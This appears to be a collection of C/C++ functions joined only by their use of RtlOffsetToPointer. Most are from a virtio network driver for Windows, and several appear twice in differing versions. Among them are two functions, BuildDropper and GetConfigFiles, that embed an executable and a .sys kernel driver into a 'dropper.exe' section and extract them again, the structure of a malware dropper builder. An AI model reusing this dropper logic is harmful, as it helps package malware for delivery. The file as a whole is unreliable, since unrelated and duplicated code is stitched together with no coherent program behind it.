bool CNB::Copy(PVOID Dst, ULONG Length) const { ULONG CurrOffset = NET_BUFFER_CURRENT_MDL_OFFSET(m_NB); ULONG Copied = 0; for (PMDL CurrMDL = NET_BUFFER_CURRENT_MDL(m_NB); CurrMDL != nullptr && Copied < Length; CurrMDL = CurrMDL->Next) { ULONG CurrLen; PVOID CurrAddr; #if NDIS_SUPPORT_NDIS620 NdisQueryMdl(CurrMDL, &CurrAddr, &CurrLen, LowPagePriority | MdlMappingNoExecute); #else NdisQueryMdl(CurrMDL, &CurrAddr, &CurrLen, LowPagePriority); #endif if (CurrAddr == nullptr) { break; } CurrLen = min(CurrLen - CurrOffset, Length - Copied); NdisMoveMemory(RtlOffsetToPointer(Dst, Copied), RtlOffsetToPointer(CurrAddr, CurrOffset), CurrLen); Copied += CurrLen; CurrOffset = 0; } return (Copied == Length); }
bool CTXHeaders::Allocate() { if (m_HeadersBuffer.Allocate(PAGE_SIZE)) { auto VA = m_HeadersBuffer.GetVA(); auto PA = m_HeadersBuffer.GetPA(); ULONG prioSize = ALIGN_UP(ETH_PRIORITY_HEADER_SIZE, ULONGLONG); //Headers buffer layout: // Priority header // Virtio header // Ethernet headers m_VlanHeaderVA = VA; m_VirtioHeaderVA = RtlOffsetToPointer(m_VlanHeaderVA, prioSize); m_EthHeaderVA = RtlOffsetToPointer(m_VirtioHeaderVA, m_VirtioHdrSize); m_IPHeadersVA = RtlOffsetToPointer(m_EthHeaderVA, ETH_HEADER_SIZE); m_VirtioHeaderPA.QuadPart = PA.QuadPart + RtlPointerToOffset(VA, m_VirtioHeaderVA); m_VlanHeaderPA.QuadPart = PA.QuadPart + RtlPointerToOffset(VA, m_VlanHeaderVA); m_EthHeaderPA.QuadPart = PA.QuadPart + RtlPointerToOffset(VA, m_EthHeaderVA); m_IPHeadersPA.QuadPart = PA.QuadPart + RtlPointerToOffset(VA, m_IPHeadersVA); m_MaxEthHeadersSize = m_HeadersBuffer.GetSize() - prioSize - m_VirtioHdrSize; return true; } return false; }
static __inline IPV6_ADDRESS* GetIP6DstAddrForHash( PVOID dataBuffer, PNET_PACKET_INFO packetInfo, ULONG hashTypes) { return ((hashTypes & (NDIS_HASH_TCP_IPV6_EX | NDIS_HASH_IPV6_EX)) && packetInfo->ip6DestAddrOffset) ? (IPV6_ADDRESS*) RtlOffsetToPointer(dataBuffer, packetInfo->ip6DestAddrOffset) : (IPV6_ADDRESS*) RtlOffsetToPointer(dataBuffer, packetInfo->L2HdrLen + FIELD_OFFSET(IPv6Header, ip6_dst_address)); }
BOOL BuildDropper(LPCSTR lpExePath, LPCSTR lpSysPath) { BOOL bRet = FALSE; PVOID pvExeFile; DWORD dwExeSize; PVOID pvSysFile; DWORD dwSysSize; PVOID pvMem; PVOID pvDropper = DropperImage::data; DWORD dwDropperSize = sizeof(DropperImage::data); if (FileRead(lpExePath, &pvExeFile, &dwExeSize)) { if (FileRead(lpSysPath, &pvSysFile, &dwSysSize)) { DWORD dwDataSize = sizeof(DROPPER_PARAMS) + dwExeSize + dwSysSize; pvMem = malloc(dwDataSize); if (pvMem) { PDROPPER_PARAMS pDropperParams = (PDROPPER_PARAMS)pvMem; pDropperParams->dwExeSize = dwExeSize; pDropperParams->dwSysSize = dwSysSize; CopyMemory(RtlOffsetToPointer(pvMem, sizeof(DROPPER_PARAMS)), pvExeFile, dwExeSize); CopyMemory(RtlOffsetToPointer(pvMem, sizeof(DROPPER_PARAMS) + dwExeSize), pvSysFile, dwSysSize); bRet = InsertSectionConfigInPE(pvDropper, dwDropperSize, pvMem, dwDataSize, &pvDropper, &dwDropperSize); free(pvMem); } free(pvSysFile); } free(pvExeFile); } if (bRet) { if (pvDropper) { bRet = FileWrite("dropper.exe", CREATE_ALWAYS, pvDropper, dwDropperSize); free(pvDropper); } } return bRet; }
/****************************************************************** Replacement of resource requirement list: adding new resource list to existing resource requirement list *******************************************************************/ static void AddNewResourceList(tRRLData *pData, PIO_RESOURCE_LIST pior) { if (pData->prrl) { ULONG len = RtlPointerToOffset(pior, &pior->Descriptors[0]); pData->currentList = (PIO_RESOURCE_LIST)RtlOffsetToPointer(pData->prrl, pData->prrl->ListSize); RtlCopyMemory(pData->currentList, pior, len); pData->currentList->Count = 0; pData->prrl->ListSize += len; pData->prrl->AlternativeLists++; pData->currentDesc = &pData->currentList->Descriptors[0]; } }
BOOL GetConfigFiles(PVOID *ppvExe, PDWORD pdwExe, PVOID *ppvSys, PDWORD pdwSys) { BOOL bRet = FALSE; PDROPPER_PARAMS pDropperParams; PVOID pvData; DWORD dwDataSize; if (GetSectionConfigData(GetMyBase(), &pvData, &dwDataSize)) { if (dwDataSize >= sizeof(DROPPER_PARAMS)) { pDropperParams = (PDROPPER_PARAMS)pvData; *ppvExe = malloc(pDropperParams->dwExeSize); if (*ppvExe) { CopyMemory(*ppvExe, RtlOffsetToPointer(pvData, sizeof(DROPPER_PARAMS)), pDropperParams->dwExeSize); *pdwExe = pDropperParams->dwExeSize; *ppvSys = malloc(pDropperParams->dwSysSize); if (*ppvSys) { CopyMemory(*ppvSys, RtlOffsetToPointer(pvData, sizeof(DROPPER_PARAMS) + pDropperParams->dwExeSize), pDropperParams->dwSysSize); *pdwSys = pDropperParams->dwSysSize; bRet = TRUE; } if (!bRet) free(*ppvExe); } } free(pvData); } return bRet; }
pRxNetDescriptor CParaNdisRX::CreateRxDescriptorOnInit() { //For RX packets we allocate following pages // 1 page for virtio header and indirect buffers array // X pages needed to fit maximal length buffer of data // The assumption is virtio header and indirect buffers array fit 1 page ULONG ulNumPages = m_Context->MaxPacketSize.nMaxDataSizeHwRx / PAGE_SIZE + 2; pRxNetDescriptor p = (pRxNetDescriptor)ParaNdis_AllocateMemory(m_Context, sizeof(*p)); if (p == NULL) return NULL; NdisZeroMemory(p, sizeof(*p)); p->BufferSGArray = (struct VirtIOBufferDescriptor *) ParaNdis_AllocateMemory(m_Context, sizeof(*p->BufferSGArray) * ulNumPages); if (p->BufferSGArray == NULL) goto error_exit; p->PhysicalPages = (tCompletePhysicalAddress *) ParaNdis_AllocateMemory(m_Context, sizeof(*p->PhysicalPages) * ulNumPages); if (p->PhysicalPages == NULL) goto error_exit; for (p->PagesAllocated = 0; p->PagesAllocated < ulNumPages; p->PagesAllocated++) { p->PhysicalPages[p->PagesAllocated].size = PAGE_SIZE; if (!InitialAllocatePhysicalMemory(&p->PhysicalPages[p->PagesAllocated])) goto error_exit; p->BufferSGArray[p->PagesAllocated].physAddr = p->PhysicalPages[p->PagesAllocated].Physical; p->BufferSGArray[p->PagesAllocated].length = PAGE_SIZE; } //First page is for virtio header, size needs to be adjusted correspondingly p->BufferSGArray[0].length = m_Context->nVirtioHeaderSize; //Pre-cache indirect area addresses p->IndirectArea.Physical.QuadPart = p->PhysicalPages[0].Physical.QuadPart + m_Context->nVirtioHeaderSize; p->IndirectArea.Virtual = RtlOffsetToPointer(p->PhysicalPages[0].Virtual, m_Context->nVirtioHeaderSize); p->IndirectArea.size = PAGE_SIZE - m_Context->nVirtioHeaderSize; if (!ParaNdis_BindRxBufferToPacket(m_Context, p)) goto error_exit; return p; error_exit: ParaNdis_FreeRxBufferDescriptor(m_Context, p); return NULL; }
USHORT CNB::QueryL4HeaderOffset(PVOID PacketData, ULONG IpHeaderOffset) const { USHORT Res; auto ppr = ParaNdis_ReviewIPPacket(RtlOffsetToPointer(PacketData, IpHeaderOffset), GetDataLength(), __FUNCTION__); if (ppr.ipStatus != ppresNotIP) { Res = static_cast<USHORT>(IpHeaderOffset + ppr.ipHeaderSize); } else { DPrintf(0, ("[%s] ERROR: NOT an IP packet - expected troubles!\n", __FUNCTION__)); Res = 0; } return Res; }
void CTXVirtQueue::UpdateTXStats(const CNB &NB, CTXDescriptor &Descriptor) { auto &HeadersArea = Descriptor.HeadersAreaAccessor(); PVOID EthHeader = HeadersArea.EthHeader(); //TODO: Statistics must be atomic auto BytesSent = NB.GetDataLength(); auto NBL = NB.GetParentNBL(); m_Context->Statistics.ifHCOutOctets += BytesSent; if (ETH_IS_BROADCAST(EthHeader)) { m_Context->Statistics.ifHCOutBroadcastOctets += BytesSent; m_Context->Statistics.ifHCOutBroadcastPkts++; } else if (ETH_IS_MULTICAST(EthHeader)) { m_Context->Statistics.ifHCOutMulticastOctets += BytesSent; m_Context->Statistics.ifHCOutMulticastPkts++; } else { m_Context->Statistics.ifHCOutUcastOctets += BytesSent; m_Context->Statistics.ifHCOutUcastPkts++; } if (NBL->IsLSO()) { m_Context->extraStatistics.framesLSO++; auto EthHeaders = Descriptor.HeadersAreaAccessor().EthHeadersAreaVA(); auto TCPHdr = reinterpret_cast<TCPHeader *>(RtlOffsetToPointer(EthHeaders, NBL->TCPHeaderOffset())); NBL->UpdateLSOTxStats(NB.GetDataLength() - NBL->TCPHeaderOffset() - TCP_HEADER_LENGTH(TCPHdr)); } else if (NBL->IsTcpCSO() || NBL->IsUdpCSO()) { m_Context->extraStatistics.framesCSOffload++; } }
static VOID RSSCalcHash_Unsafe( PARANDIS_RSS_PARAMS *RSSParameters, PVOID dataBuffer, PNET_PACKET_INFO packetInfo) { HASH_CALC_SG_BUF_ENTRY sgBuff[3]; ULONG hashTypes = NDIS_RSS_HASH_TYPE_FROM_HASH_INFO(RSSParameters->ActiveHashingSettings.HashInformation); if(packetInfo->isIP4) { if(packetInfo->isTCP && (hashTypes & NDIS_HASH_TCP_IPV4)) { IPv4Header *pIpHeader = (IPv4Header *) RtlOffsetToPointer(dataBuffer, packetInfo->L2HdrLen); TCPHeader *pTCPHeader = (TCPHeader *) RtlOffsetToPointer(pIpHeader, packetInfo->L3HdrLen); sgBuff[0].chunkPtr = RtlOffsetToPointer(pIpHeader, FIELD_OFFSET(IPv4Header, ip_src)); sgBuff[0].chunkLen = RTL_FIELD_SIZE(IPv4Header, ip_src) + RTL_FIELD_SIZE(IPv4Header, ip_dest); sgBuff[1].chunkPtr = RtlOffsetToPointer(pTCPHeader, FIELD_OFFSET(TCPHeader, tcp_src)); sgBuff[1].chunkLen = RTL_FIELD_SIZE(TCPHeader, tcp_src) + RTL_FIELD_SIZE(TCPHeader, tcp_dest); packetInfo->RSSHash.Value = ToeplitsHash(sgBuff, 2, &RSSParameters->ActiveHashingSettings.HashSecretKey[0]); packetInfo->RSSHash.Type = NDIS_HASH_TCP_IPV4; packetInfo->RSSHash.Function = NdisHashFunctionToeplitz; return; } if(hashTypes & NDIS_HASH_IPV4) { sgBuff[0].chunkPtr = RtlOffsetToPointer(dataBuffer, packetInfo->L2HdrLen + FIELD_OFFSET(IPv4Header, ip_src)); sgBuff[0].chunkLen = RTL_FIELD_SIZE(IPv4Header, ip_src) + RTL_FIELD_SIZE(IPv4Header, ip_dest); packetInfo->RSSHash.Value = ToeplitsHash(sgBuff, 1, RSSParameters->ActiveHashingSettings.HashSecretKey); packetInfo->RSSHash.Type = NDIS_HASH_IPV4; packetInfo->RSSHash.Function = NdisHashFunctionToeplitz; return; } } else if(packetInfo->isIP6) { if(packetInfo->isTCP) { if(hashTypes & (NDIS_HASH_TCP_IPV6 | NDIS_HASH_TCP_IPV6_EX)) { IPv6Header *pIpHeader = (IPv6Header *) RtlOffsetToPointer(dataBuffer, packetInfo->L2HdrLen); TCPHeader *pTCPHeader = (TCPHeader *) RtlOffsetToPointer(pIpHeader, packetInfo->L3HdrLen); sgBuff[0].chunkPtr = (PCHAR) GetIP6SrcAddrForHash(dataBuffer, packetInfo, hashTypes); sgBuff[0].chunkLen = RTL_FIELD_SIZE(IPv6Header, ip6_src_address); sgBuff[1].chunkPtr = (PCHAR) GetIP6DstAddrForHash(dataBuffer, packetInfo, hashTypes); sgBuff[1].chunkLen = RTL_FIELD_SIZE(IPv6Header, ip6_dst_address); sgBuff[2].chunkPtr = RtlOffsetToPointer(pTCPHeader, FIELD_OFFSET(TCPHeader, tcp_src)); sgBuff[2].chunkLen = RTL_FIELD_SIZE(TCPHeader, tcp_src) + RTL_FIELD_SIZE(TCPHeader, tcp_dest); packetInfo->RSSHash.Value = ToeplitsHash(sgBuff, 3, RSSParameters->ActiveHashingSettings.HashSecretKey); packetInfo->RSSHash.Type = (hashTypes & NDIS_HASH_TCP_IPV6_EX) ? NDIS_HASH_TCP_IPV6_EX : NDIS_HASH_TCP_IPV6; packetInfo->RSSHash.Function = NdisHashFunctionToeplitz; return; } } if(hashTypes & (NDIS_HASH_IPV6 | NDIS_HASH_IPV6_EX)) { sgBuff[0].chunkPtr = (PCHAR) GetIP6SrcAddrForHash(dataBuffer, packetInfo, hashTypes); sgBuff[0].chunkLen = RTL_FIELD_SIZE(IPv6Header, ip6_src_address); sgBuff[1].chunkPtr = (PCHAR) GetIP6DstAddrForHash(dataBuffer, packetInfo, hashTypes); sgBuff[1].chunkLen = RTL_FIELD_SIZE(IPv6Header, ip6_dst_address); packetInfo->RSSHash.Value = ToeplitsHash(sgBuff, 2, RSSParameters->ActiveHashingSettings.HashSecretKey); packetInfo->RSSHash.Type = (hashTypes & NDIS_HASH_IPV6_EX) ? NDIS_HASH_IPV6_EX : NDIS_HASH_IPV6; packetInfo->RSSHash.Function = NdisHashFunctionToeplitz; return; } if(hashTypes & NDIS_HASH_IPV6) { IPv6Header *pIpHeader = (IPv6Header *) RtlOffsetToPointer(dataBuffer, packetInfo->L2HdrLen); sgBuff[0].chunkPtr = RtlOffsetToPointer(pIpHeader, FIELD_OFFSET(IPv6Header, ip6_src_address)); sgBuff[0].chunkLen = RTL_FIELD_SIZE(IPv6Header, ip6_src_address) + RTL_FIELD_SIZE(IPv6Header, ip6_dst_address); packetInfo->RSSHash.Value = ToeplitsHash(sgBuff, 2, RSSParameters->ActiveHashingSettings.HashSecretKey); packetInfo->RSSHash.Type = NDIS_HASH_IPV6; packetInfo->RSSHash.Function = NdisHashFunctionToeplitz; return; } } packetInfo->RSSHash.Value = 0; packetInfo->RSSHash.Type = 0; packetInfo->RSSHash.Function = 0; }
/****************************************************************** Replacement of resource requirement list, when needed: The procedure traverses over all the resource lists in existing resource requirement list (we receive it in IRP information field). When the driver is not built to work with MSI resources, we must remove them from the resource requirement list, otherwise the driver will fail to initialize Typically MSI interrupts are labeled as preferred ones, when line interrupts are labeled as alternative resources. Removing message interrupts, remove also "alternative" label from line interrupts. *******************************************************************/ static PIO_RESOURCE_REQUIREMENTS_LIST ParseFilterResourceIrp( IN NDIS_HANDLE MiniportAddDeviceContext, PIO_RESOURCE_REQUIREMENTS_LIST prrl, BOOLEAN bRemoveMSIResources) { tRRLData newRRLData; ULONG nRemoved = 0; PIO_RESOURCE_REQUIREMENTS_LIST newPrrl = NULL; DPrintf(resourceFilterLevel, ("[%s]%s\n", __FUNCTION__, bRemoveMSIResources ? "(Remove MSI resources...)" : "")); if (MiniportAddDeviceContext && prrl) newPrrl = (PIO_RESOURCE_REQUIREMENTS_LIST)NdisAllocateMemoryWithTagPriority( MiniportAddDeviceContext, prrl->ListSize, PARANDIS_MEMORY_TAG, NormalPoolPriority); InitializeNewResourceRequirementsList(&newRRLData, newPrrl, prrl); if (prrl) { ULONG n, offset; PVOID p = &prrl->List[0]; DPrintf(resourceFilterLevel, ("[%s] %d bytes, %d lists\n", __FUNCTION__, prrl->ListSize, prrl->AlternativeLists)); offset = RtlPointerToOffset(prrl, p); for (n = 0; n < prrl->AlternativeLists && offset < prrl->ListSize; ++n) { ULONG nDesc; IO_RESOURCE_LIST *pior = (IO_RESOURCE_LIST *)p; if ((offset + sizeof(*pior)) < prrl->ListSize) { IO_RESOURCE_DESCRIPTOR *pd = &pior->Descriptors[0]; DPrintf(resourceFilterLevel, ("[%s]+%d %d:%d descriptors follow\n", __FUNCTION__, offset, n, pior->Count)); offset += RtlPointerToOffset(p, pd); AddNewResourceList(&newRRLData, pior); for (nDesc = 0; nDesc < pior->Count; ++nDesc) { BOOLEAN bRemove = FALSE; if ((offset + sizeof(*pd)) <= prrl->ListSize) { DPrintf(resourceFilterLevel, ("[%s]+%d %d: type %d, flags %X, option %X\n", __FUNCTION__, offset, nDesc, pd->Type, pd->Flags, pd->Option)); if (pd->Type == CmResourceTypeInterrupt) { if (pd->Flags & CM_RESOURCE_INTERRUPT_MESSAGE) { bRemove = bRemoveMSIResources; } else { // reset IO_RESOURCE_ALTERNATIVE attribute on Line Interrupt, // if we remove MSI vectors, otherwise Windows will not allocate it for the device if (bRemoveMSIResources && (pd->Option & IO_RESOURCE_ALTERNATIVE)) { pd->Option &= ~IO_RESOURCE_ALTERNATIVE; } } } if (!bRemove) AddNewResourceDescriptor(&newRRLData, pd); else nRemoved++; } offset += sizeof(*pd); pd = (IO_RESOURCE_DESCRIPTOR *)RtlOffsetToPointer(prrl, offset); } FinalizeResourceList(&newRRLData); p = pd; } } } if (bRemoveMSIResources && nRemoved) { DPrintf(0, ("[%s] %d resources removed\n", __FUNCTION__, nRemoved)); } return newPrrl; }
/********************************************************** NDIS6 implementation of packet indication Parameters: context PVOID pBuffersDescriptor - VirtIO buffer descriptor of data buffer BOOLEAN bPrepareOnly - only return NBL for further indication in batch Return value: TRUE is packet indicated FALSE if not (in this case, the descriptor should be freed now) If priority header is in the packet. it will be removed and *pLength decreased ***********************************************************/ tPacketIndicationType ParaNdis_PrepareReceivedPacket( PARANDIS_ADAPTER *pContext, pRxNetDescriptor pBuffersDesc, PUINT pnCoalescedSegmentsCount) { PMDL pMDL = pBuffersDesc->Holder; PNET_BUFFER_LIST pNBL = NULL; *pnCoalescedSegmentsCount = 1; if (pMDL) { ULONG nBytesStripped = 0; PNET_PACKET_INFO pPacketInfo = &pBuffersDesc->PacketInfo; if (pContext->ulPriorityVlanSetting && pPacketInfo->hasVlanHeader) { nBytesStripped = ParaNdis_StripVlanHeaderMoveHead(pPacketInfo); } ParaNdis_PadPacketToMinimalLength(pPacketInfo); ParaNdis_AdjustRxBufferHolderLength(pBuffersDesc, nBytesStripped); pNBL = NdisAllocateNetBufferAndNetBufferList(pContext->BufferListsPool, 0, 0, pMDL, nBytesStripped, pPacketInfo->dataLength); if (pNBL) { virtio_net_hdr *pHeader = (virtio_net_hdr *) pBuffersDesc->PhysicalPages[0].Virtual; tChecksumCheckResult csRes; pNBL->SourceHandle = pContext->MiniportHandle; NBLSetRSSInfo(pContext, pNBL, pPacketInfo); NBLSet8021QInfo(pContext, pNBL, pPacketInfo); pNBL->MiniportReserved[0] = pBuffersDesc; #if PARANDIS_SUPPORT_RSC if(pHeader->gso_type != VIRTIO_NET_HDR_GSO_NONE) { *pnCoalescedSegmentsCount = PktGetTCPCoalescedSegmentsCount(pPacketInfo, pContext->MaxPacketSize.nMaxDataSize); NBLSetRSCInfo(pContext, pNBL, pPacketInfo, *pnCoalescedSegmentsCount); } else #endif { csRes = ParaNdis_CheckRxChecksum( pContext, pHeader->flags, &pBuffersDesc->PhysicalPages[PARANDIS_FIRST_RX_DATA_PAGE], pPacketInfo, nBytesStripped, TRUE); if (csRes.value) { NDIS_TCP_IP_CHECKSUM_NET_BUFFER_LIST_INFO qCSInfo; qCSInfo.Value = NULL; qCSInfo.Receive.IpChecksumFailed = csRes.flags.IpFailed; qCSInfo.Receive.IpChecksumSucceeded = csRes.flags.IpOK; qCSInfo.Receive.TcpChecksumFailed = csRes.flags.TcpFailed; qCSInfo.Receive.TcpChecksumSucceeded = csRes.flags.TcpOK; qCSInfo.Receive.UdpChecksumFailed = csRes.flags.UdpFailed; qCSInfo.Receive.UdpChecksumSucceeded = csRes.flags.UdpOK; NET_BUFFER_LIST_INFO(pNBL, TcpIpChecksumNetBufferListInfo) = qCSInfo.Value; DPrintf(1, ("Reporting CS %X->%X\n", csRes.value, (ULONG)(ULONG_PTR)qCSInfo.Value)); } } pNBL->Status = NDIS_STATUS_SUCCESS; #if defined(ENABLE_HISTORY_LOG) { tTcpIpPacketParsingResult packetReview = ParaNdis_CheckSumVerify( RtlOffsetToPointer(pPacketInfo->headersBuffer, ETH_HEADER_SIZE), pPacketInfo->dataLength, pcrIpChecksum | pcrTcpChecksum | pcrUdpChecksum, __FUNCTION__ ); ParaNdis_DebugHistory(pContext, hopPacketReceived, pNBL, pPacketInfo->dataLength, (ULONG)(ULONG_PTR)qInfo.Value, packetReview.value); } #endif } } return pNBL; }
pRxNetDescriptor CParaNdisRX::CreateRxDescriptorOnInit() { //For RX packets we allocate following pages // 1 page for virtio header and indirect buffers array // X pages needed to fit maximal length buffer of data // The assumption is virtio header and indirect buffers array fit 1 page ULONG ulNumPages = m_Context->MaxPacketSize.nMaxDataSizeHwRx / PAGE_SIZE + 2; pRxNetDescriptor p = (pRxNetDescriptor)ParaNdis_AllocateMemory(m_Context, sizeof(*p)); if (p == NULL) return NULL; NdisZeroMemory(p, sizeof(*p)); p->BufferSGArray = (struct VirtIOBufferDescriptor *) ParaNdis_AllocateMemory(m_Context, sizeof(*p->BufferSGArray) * ulNumPages); if (p->BufferSGArray == NULL) goto error_exit; p->PhysicalPages = (tCompletePhysicalAddress *) ParaNdis_AllocateMemory(m_Context, sizeof(*p->PhysicalPages) * ulNumPages); if (p->PhysicalPages == NULL) goto error_exit; p->BufferSGLength = 0; while (ulNumPages > 0) { // Allocate the first page separately, the rest can be one contiguous block ULONG ulPagesToAlloc = (p->BufferSGLength == 0 ? 1 : ulNumPages); while (!ParaNdis_InitialAllocatePhysicalMemory( m_Context, PAGE_SIZE * ulPagesToAlloc, &p->PhysicalPages[p->BufferSGLength])) { // Retry with half the pages if (ulPagesToAlloc == 1) goto error_exit; else ulPagesToAlloc /= 2; } p->BufferSGArray[p->BufferSGLength].physAddr = p->PhysicalPages[p->BufferSGLength].Physical; p->BufferSGArray[p->BufferSGLength].length = p->PhysicalPages[p->BufferSGLength].size; ulNumPages -= ulPagesToAlloc; p->BufferSGLength++; } //First page is for virtio header, size needs to be adjusted correspondingly p->BufferSGArray[0].length = m_Context->nVirtioHeaderSize; ULONG indirectAreaOffset = ALIGN_UP(m_Context->nVirtioHeaderSize, ULONGLONG); //Pre-cache indirect area addresses p->IndirectArea.Physical.QuadPart = p->PhysicalPages[0].Physical.QuadPart + indirectAreaOffset; p->IndirectArea.Virtual = RtlOffsetToPointer(p->PhysicalPages[0].Virtual, indirectAreaOffset); p->IndirectArea.size = PAGE_SIZE - indirectAreaOffset; if (!ParaNdis_BindRxBufferToPacket(m_Context, p)) goto error_exit; return p; error_exit: ParaNdis_FreeRxBufferDescriptor(m_Context, p); return NULL; }
/****************************************************************** Replacement of resource requirement list, when needed: The procedure traverses over all the resource lists in existing resource requirement list (we receive it in IRP information field). When the driver is not built to work with MSI resources, we must remove them from the resource requirement list, otherwise the driver will fail to initialize Typically MSI interrupts are labeled as preferred ones, when line interrupts are labeled as alternative resources. Removing message interrupts, remove also "alternative" label from line interrupts. *******************************************************************/ static PIO_RESOURCE_REQUIREMENTS_LIST ParseFilterResourceIrp( IN NDIS_HANDLE MiniportAddDeviceContext, PIO_RESOURCE_REQUIREMENTS_LIST prrl, BOOLEAN bRemoveMSIResources) { tRRLData newRRLData; ULONG nRemoved = 0; UINT nInterrupts = 0; PIO_RESOURCE_REQUIREMENTS_LIST newPrrl = NULL; ULONG QueueNumber; #if NDIS_SUPPORT_NDIS620 QueueNumber = NdisGroupActiveProcessorCount(ALL_PROCESSOR_GROUPS) + 1; #elif NDIS_SUPPORT_NDIS6 QueueNumber = NdisSystemProcessorCount(); #else QueueNumber = 0; /* Don't create MSI resource descriptors*/ #endif if (QueueNumber > 2048) QueueNumber = 2048; DPrintf(resourceFilterLevel, ("[%s]%s\n", __FUNCTION__, bRemoveMSIResources ? "(Remove MSI resources...)" : "")); newPrrl = (PIO_RESOURCE_REQUIREMENTS_LIST)NdisAllocateMemoryWithTagPriority( MiniportAddDeviceContext, prrl->ListSize + (bRemoveMSIResources ? 0 : QueueNumber * sizeof(IO_RESOURCE_DESCRIPTOR)), PARANDIS_MEMORY_TAG, NormalPoolPriority); InitializeNewResourceRequirementsList(&newRRLData, newPrrl, prrl); if (prrl) { ULONG n, offset; PVOID p = &prrl->List[0]; DPrintf(resourceFilterLevel, ("[%s] %d bytes, %d lists\n", __FUNCTION__, prrl->ListSize, prrl->AlternativeLists)); offset = RtlPointerToOffset(prrl, p); for (n = 0; n < prrl->AlternativeLists && offset < prrl->ListSize; ++n) { ULONG nDesc; IO_RESOURCE_LIST *pior = (IO_RESOURCE_LIST *)p; if ((offset + sizeof(*pior)) < prrl->ListSize) { IO_RESOURCE_DESCRIPTOR *pd = &pior->Descriptors[0]; DPrintf(resourceFilterLevel, ("[%s]+%d %d:%d descriptors follow\n", __FUNCTION__, offset, n, pior->Count)); offset += RtlPointerToOffset(p, pd); AddNewResourceList(&newRRLData, pior); for (nDesc = 0; nDesc < pior->Count; ++nDesc) { BOOLEAN bRemove = FALSE; if ((offset + sizeof(*pd)) <= prrl->ListSize) { #ifdef DBG DPrintf(resourceFilterLevel, ("[%s]+%d %d: type %d/%s, flags %X, option %X\n", __FUNCTION__, offset, nDesc, pd->Type, CM_RESOURCE_TYPE2String(pd->Type), pd->Flags, pd->Option)); #else DPrintf(resourceFilterLevel, ("[%s]+%d %d: type %d, flags %X, option %X\n", __FUNCTION__, offset, nDesc, pd->Type, pd->Flags, pd->Option)); #endif if (pd->Type == CmResourceTypeInterrupt) { nInterrupts++; DPrintf(0, ("[%s] min/max = %lx/%lx Option = 0x%lx, ShareDisposition = %u \n", __FUNCTION__, pd->u.Interrupt.MinimumVector, pd->u.Interrupt.MaximumVector, pd->Option, pd->ShareDisposition)); if (pd->Flags & CM_RESOURCE_INTERRUPT_MESSAGE) { bRemove = bRemoveMSIResources; } else { // reset IO_RESOURCE_ALTERNATIVE attribute on Line Interrupt, // if we remove MSI vectors, otherwise Windows will not allocate it for the device if (bRemoveMSIResources && (pd->Option & IO_RESOURCE_ALTERNATIVE)) { pd->Option &= ~IO_RESOURCE_ALTERNATIVE; } } } if (!bRemove) AddNewResourceDescriptor(&newRRLData, pd); else nRemoved++; } offset += sizeof(*pd); pd = (IO_RESOURCE_DESCRIPTOR *)RtlOffsetToPointer(prrl, offset); } if (!bRemoveMSIResources) { while (nInterrupts < QueueNumber) { IO_RESOURCE_DESCRIPTOR ior; ior.Type = CmResourceTypeInterrupt; ior.Flags = CM_RESOURCE_INTERRUPT_LATCHED | CM_RESOURCE_INTERRUPT_MESSAGE | CM_RESOURCE_INTERRUPT_POLICY_INCLUDED; ior.Option = 0; ior.ShareDisposition = CmResourceShareDeviceExclusive; ior.u.Interrupt.MinimumVector = ior.u.Interrupt.MaximumVector = CM_RESOURCE_INTERRUPT_MESSAGE_TOKEN; ior.u.Interrupt.AffinityPolicy = IrqPolicyMachineDefault; ior.u.Interrupt.PriorityPolicy = IrqPriorityNormal; AddNewResourceDescriptor(&newRRLData, &ior); nInterrupts++; } } FinalizeResourceList(&newRRLData); p = pd; } } } if (!bRemoveMSIResources) { SetupInterrruptAffinity(newPrrl); } if (bRemoveMSIResources && nRemoved) { DPrintf(0, ("[%s] %d resources removed\n", __FUNCTION__, nRemoved)); } return newPrrl; }